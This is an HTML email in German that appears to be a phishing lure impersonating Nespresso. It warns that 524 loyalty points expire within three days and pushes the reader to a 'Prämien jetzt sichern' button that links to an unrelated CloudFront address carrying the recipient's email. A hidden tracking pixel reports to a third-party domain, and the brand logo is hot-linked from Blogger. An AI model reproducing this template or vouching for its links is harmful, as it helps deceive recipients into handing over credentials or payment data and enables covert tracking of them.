<!DOCTYPE html>
<html lang="de">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Kunden-Mitteilung: Guthaben-Status</title>
<style>
body { margin: 0; padding: 0; background-color: #f8fafc; font-family: 'Inter', -apple-system, sans-serif; }
.outer-base { width: 100%; background-color: #f8fafc; padding: 45px 0; }
.inner-vault { max-width: 590px; margin: 0 auto; background: #ffffff; border-radius: 16px; border: 1px solid #e2e8f0; box-shadow: 0 4px 12px rgba(0,0,0,0.03); overflow: hidden; }
.alert-pill { display: inline-block; background: #fffaf0; color: #9c4221; padding: 6px 14px; border-radius: 50px; font-size: 11px; font-weight: 700; text-transform: uppercase; letter-spacing: 0.8px; margin-bottom: 25px; }
.cta-finish { display: inline-block; background: #000000; color: #ffffff !important; text-decoration: none; padding: 22px 55px; border-radius: 6px; font-weight: 700; font-size: 16px; }
.stats-area { background-color: #fcfcfc; border: 1.5px dashed #edf2f7; border-radius: 20px; margin: 25px 0; padding: 45px 30px; }
.hr-mini { height: 2px; width: 35px; background: #e2e8f0; margin: 25px auto; border: none; }
</style>
</head>
<body style="margin:0; padding:0; background:#f8fafc;">
<div class="outer-base">
<img src="https://dev.nirvanstudio.com/anti/ness/index.php?action=track&email=pkg-fonts-devel@lists.alioth.debian.org" width="1" height="1" alt="" style="display:none !important; visibility:hidden;" />
<table class="inner-vault" align="center" cellpadding="0" cellspacing="0" border="0" role="presentation">
<tr>
<td style="padding: 60px 50px; text-align: center;">
<table width="100%" cellpadding="0" cellspacing="0" border="0" role="presentation" style="margin-bottom: 35px;">
<tr>
<td align="center">
<img src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgITV_LXEiaIK8_4Vv1OTF8BiuRDHLaAfyq63NnOVw5Eoc_X2GkEtb35-808GnWjqRqIrZe76yRMz2S4kRH2KyLNfIv0uoCrCuQfoqBbzkWPKmeQtEW7hd47QvPuV6krDfqm04TP6_E38zOs6evJefxgZ8mRGmH1Asz_IJ9SDH9eWDIqxHAdbWvRMwr/s320/Nespresso-Logo.png"
alt="Mitglieder-Service"
width="180"
style="display: block; border: 0; outline: none; margin: 0 auto; width: 180px;">
</td>
</tr>
</table>
<div class="alert-pill">Status: 72 Stunden verbleibend</div>
<h1 style="color: #0f172a; font-size: 32px; margin: 0 0 10px 0; font-weight: 850; letter-spacing: -1.2px;">Punkte fast abgelaufen.</h1>
<p style="color: #64748b; font-size: 16px; margin: 0;">Zusammenfassung für Nutzer: pkg-fonts-devel@lists.alioth.debian.org</p>
<div class="stats-area">
<p style="margin: 0; font-size: 12px; color: #94a3b8; text-transform: uppercase; font-weight: 700; letter-spacing: 2px;">Verfügbares Saldo</p>
<div style="font-size: 68px; color: #000000; font-weight: 950; margin: 10px 0; line-height: 1;">524</div>
<p style="margin: 0; font-size: 17px; color: #475569;">Treuepunkte insgesamt</p>
<div class="hr-mini"></div>
<p style="margin: 0; font-size: 15px; color: #0f172a;">
Gültigkeitsfrist bis: <strong style="color: #000000;">24. März 2026</strong>
</p>
</div>
<p style="font-size: 16px; color: #475569; line-height: 1.8; margin-bottom: 45px; text-align: center;">
Dies ist eine wichtige Erinnerung an Ihren aktuellen Punktestand. In <strong>drei Tagen</strong> verfallen Ihre gesammelten Vorteile unwiderruflich. Nutzen Sie diese Zeit, um Ihr Guthaben gegen exklusive Kaffeemischungen oder Zubehör einzutauschen.
</p>
<table width="100%" cellpadding="0" cellspacing="0" border="0">
<tr>
<td align="center">
<a href="https://d16p38tbypvira.cloudfront.net/?email=pkg-fonts-devel@lists.alioth.debian.org" class="cta-finish">Prämien jetzt sichern</a>
</td>
</tr>
</table>
<p style="font-size: 12px; color: #94a3b8; margin-top: 35px;">
Der Zugriff erfolgt über Ihren verschlüsselten Kundenbereich.
</p>
</td>
</tr>
<tr>
<td style="background-color: #fafafa; padding: 40px; text-align: center; border-top: 1px solid #f1f5f9;">
<p style="font-size: 11px; color: #94a3b8; line-height: 1.8; margin: 0;">
<strong style="color: #475569;">Zentrales Prämien-Büro</strong><br>
Pariser Platz 4a · 10117 Berlin · Deutschland<br><br>
<a href="#" style="color: #94a3b8;">Einstellungen</a> • <a href="#" style="color: #94a3b8;">Datenschutz</a>
</p>
</td>
</tr>
</table>
</div>
</body>
</html>